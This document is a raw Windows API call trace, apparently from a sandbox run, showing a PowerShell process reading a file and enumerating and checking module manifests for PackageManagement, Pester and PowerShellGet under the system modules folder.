1 [0143.925] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.926] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd871, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd871*, lpNumberOfBytesRead=0x250580d1e8*=0x3a, lpOverlapped=0x0) returned 1 [0143.926] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.927] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd86a, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd86a*, lpNumberOfBytesRead=0x250580d1e8*=0x3, lpOverlapped=0x0) returned 1 [0143.927] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.928] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd85d, nNumberOfBytesToRead=0xe, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd85d*, lpNumberOfBytesRead=0x250580d1e8*=0xe, lpOverlapped=0x0) returned 1 [0143.928] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.928] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd85b, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x250580d1a8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd85b*, lpNumberOfBytesRead=0x250580d1a8*=0x1, lpOverlapped=0x0) returned 1 [0143.928] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.929] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd85c, nNumberOfBytesToRead=0x12, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd85c*, lpNumberOfBytesRead=0x250580d1e8*=0x12, lpOverlapped=0x0) returned 1 [0143.929] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.930] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd86a, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd86a*, lpNumberOfBytesRead=0x250580d1e8*=0x3, lpOverlapped=0x0) returned 1 [0143.930] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0xd4c, lpOverlapped=0x0) returned 1 [0143.930] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x250580d000, nSize=0xeb | out: lpBuffer="??Nj") returned 0x0 [0143.934] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x250580d0d8 | out: UnbiasedTime=0x250580d0d8) returned 1 [0144.816] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x250580d0d8 | out: UnbiasedTime=0x250580d0d8) returned 1 [0144.824] CloseHandle (hObject=0x3c0) returned 1 [0144.836] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0144.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0144.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0144.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0144.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0144.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0144.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0144.837] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0144.837] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0144.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2982850 [0144.838] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.838] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918c5369, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918c5369, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0144.838] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.838] FindClose (in: hFindFile=0x1cbf2982850 | out: hFindFile=0x1cbf2982850) returned 1 [0144.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0144.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0144.839] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0144.839] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0144.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0144.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0144.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0144.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0144.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0144.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0144.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0144.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0144.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab10e70 | out: lpFileInformation=0x1cbdab10e70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0144.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0144.842] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0144.843] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0144.843] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0144.843] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0144.843] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0144.843] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0144.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0144.843] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0144.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0144.844] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2982130 [0144.844] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.844] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0144.844] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0144.845] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.845] FindClose (in: hFindFile=0x1cbf2982130 | out: hFindFile=0x1cbf2982130) returned 1 [0144.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0144.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0144.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0144.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0144.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0144.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0144.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0144.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0144.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0144.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0144.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0144.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0144.921] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab13320 | out: lpFileInformation=0x1cbdab13320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0144.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0144.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0144.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0144.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0144.921] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0145.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0145.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0145.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0145.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0145.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0145.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0145.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab13690 | out: lpFileInformation=0x1cbdab13690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0145.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0145.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0145.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0145.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0145.004] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0145.208] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0145.209] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0145.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0145.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0145.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0145.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf29836f0 